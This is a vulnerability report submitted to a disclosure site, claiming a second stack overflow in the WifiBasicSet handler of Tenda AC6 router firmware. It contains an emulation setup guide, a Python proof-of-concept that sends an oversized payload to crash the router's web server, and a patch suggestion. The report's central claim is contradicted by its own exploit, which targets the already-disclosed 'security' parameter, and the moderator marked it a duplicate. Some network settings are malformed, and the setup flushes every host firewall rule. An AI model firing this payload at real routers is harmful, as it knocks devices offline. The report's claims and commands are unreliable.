Submit #897556: Tenda AC6 V15.03.05.16 CWE-121 Stack-based Buffer Overflow

Second Independent Stack Buffer Overflow in WifiBasicSet (Tenda AC6)
1. Basic Vulnerability Information
Vendor: Tenda
Affected Device: AC6 V1.0
Vulnerable Firmware Version: V15.03.05.16
Firmware Download Link: https://www.tenda.com.cn/material/show/2661
Vulnerability Classification: CWE-121 Stack-based Buffer Overflow
CVSS 3.1 Score: 8.8
CVSS Vector String: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Vulnerable HTTP Endpoint: /goform/WifiBasicSet
2. Core Difference From Existing Disclosed Vulnerability
Two completely separated independent stack buffers exist within the identical WifiBasicSet function binary:

The stack overflow vulnerability triggered by security POST parameter has been allocated an official public CVE ID.
This new flaw leverages a distinct user-controllable HTTP parameter and writes arbitrary long payload to an isolated stack memory region that has no connection with the old buffer.Key rule compliance for separate CVE application:
Patching and length restriction for the original security buffer cannot resolve this second overflow vulnerability. Developers can deploy two independent repair patches targeting these two memory areas respectively. This fully satisfies MITRE CNA counting standards to apply for an exclusive unique CVE identifier for this new bug.
Reverse Disassembly Proof Attachment

3. Complete QEMU ARM Emulation Deployment Guide
3.1 Install Download Tool & Pull QEMU ARM Mirror Files
sudo apt update && sudo apt install aria2
# Multi-thread download Debian Vexpress ARM images
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2"
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress"
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress"
3.2 TAP Virtual Network Card Configuration (Host Side)
# Create tap0 tunnel device
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 up
# Enable system IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
# Flush all existing iptables rules
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
# Set default policy to ACCEPT
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
# Configure NAT forwarding for internet access
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
# Allow inbound/outbound traffic of tap0
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED
# Assign static IP address to tap0
sudo ifconfig tap0 192.168.100.1 netmask x.x.x.x
3.3 Boot QEMU ARM Virtual Machine
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
# VM login account & password: root / root
3.4 Firmware File Transfer Steps (Host ↔ QEMU VM)
Pack unpacked firmware folder on host
tar -czvf squashfs-root.tar squashfs-root
Launch temporary Python HTTP server on host
python3 -m http.server
Download compressed firmware inside QEMU guest
wget http://192.168.100.1:8000/squashfs-root.tar
Decompress archive
tar -xzvf squashfs-root.tar
3.5 VM Internal Network & httpd Service Startup
# Create bridge network br0
ip link add name br0 type bridge
ip link set dev br0 up
ip addr add 192.168.100.2/24 dev br0
# Set static IP for virtual router ethernet interface
ifconfig eth0 192.168.100.2 netmask 255.255.0
# Set default gateway to host tap0
route add default gw 192.168.100.1
# Enter firmware chroot environment
chroot ./squashfs sh
# Copy read-only web static resources to runtime directory
cp -rf webroot_ro/* webroot/
# Launch Tenda router web service binary
./bin/httpd
# Vulnerability test access address: http://192.168.100.2
4. Full Proof of Concept Exploit Code
from pwn import *
import requests

# Construct 2000-byte long overflow payload
payload = cyclic(2000).decode('latin-1')
url = "http://192.168.100.2"
request_data = {
"wrlEn": "1",
"ssid": "Tenda",
"security": payload,
"wrlPwd": "12345678",
"hideSsid": "0",
"wrlEn_5g": "1",
"ssid_5g": "Tenda_5G",
"security_5g": "none",
"wrlPwd_5g": "12345678",
"hideSsid_5g": "0"
}

print("[*] Sending malicious long payload to trigger stack overflow")
try:
res = requests.post(url, data=request_data, timeout=3)
print(f"Request Response Code: {res.status_code}")
except Exception as e:
print(f"[!!! Crash Detected: httpd service disconnected, process crashed: {e}")
Running the above POC will cause the router's http web service process to crash, leading to a remote denial-of-service vulnerability.

5. Security Patch Recommendation
Replace unsafe unlimited string copy functions with bounded length copy logic, add identical length limit judgment for both independent stack buffers inside the WifiBasicSet function:

// Original unsafe code: unbounded strcpy
strcpy(dest_buf, user_input);

// Fixed secure code
strncpy(dest_buf, user_input, sizeof(dest_buf) - 1);
dest_buf[sizeof(dest_buf) - 1] = '\0';
Add uniform input length check for all controllable parameters that write to stack memory to eliminate stack overflow risk.

• User: hfddh666 (UID 99974)
• Submission: 07/20/2026 17:22 (2 months ago)
• Moderation: 09/06/2026 05:18 (2 months later)
• Status: Duplicate
• VulDB entry: 238377 [Tenda AC6 15.03.05.16_multi_TD01 formWifiBasicSet buffer overflow]
• Points: 0